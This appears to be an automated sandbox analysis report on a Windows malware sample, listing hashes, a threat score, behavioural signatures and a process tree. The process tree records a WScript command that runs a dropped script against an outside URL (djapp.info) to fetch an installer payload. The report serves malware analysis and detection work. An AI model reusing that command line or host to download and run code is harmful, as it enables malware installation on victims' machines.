Analysis

  • max time kernel
    146s
  • max time network
    163s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/11/2022, 21:52

General

  • Target

    ab00696b47b5f3dafafb17bc4d5acbc62ab013f825913ad316b6b6ee7ba6246a.exe

  • Size

    184KB

  • MD5

    541fbae4925cc92248ebf7b3519e8d67

  • SHA1

    6baf9f022282d9fe3062f329f260a7f4ff7d4d5a

  • SHA256

    ab00696b47b5f3dafafb17bc4d5acbc62ab013f825913ad316b6b6ee7ba6246a

  • SHA512

    89cb763e7a8238b68e73e458c492d4e9abd2e9cfbd8b33a8d527758ab1d14ead916a718caa8f8c2fa52d6140418f893b272c6494b05c6fb71b59c54a90d638c9

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO30:/7BSH8zUB+nGESaaRvoB7FJNndn1

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Modifies registry class 1 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ab00696b47b5f3dafafb17bc4d5acbc62ab013f825913ad316b6b6ee7ba6246a.exe
    "C:\Users\Admin\AppData\Local\Temp\ab00696b47b5f3dafafb17bc4d5acbc62ab013f825913ad316b6b6ee7ba6246a.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:3804
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf9E77.js" http://www.djapp.info/?domain=jkIoxDTmdv.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fuf9E77.exe
      2⤵
      • Blocklisted process makes network request
      PID:1940
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3804 -s 1432
      2⤵
      • Program crash
      PID:4872
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 3804 -ip 3804
    1⤵
      PID:3112

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\fuf9E77.js

      Filesize

      3KB

      MD5

      3813cab188d1de6f92f8b82c2059991b

      SHA1

      4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

      SHA256

      a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

      SHA512

      83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76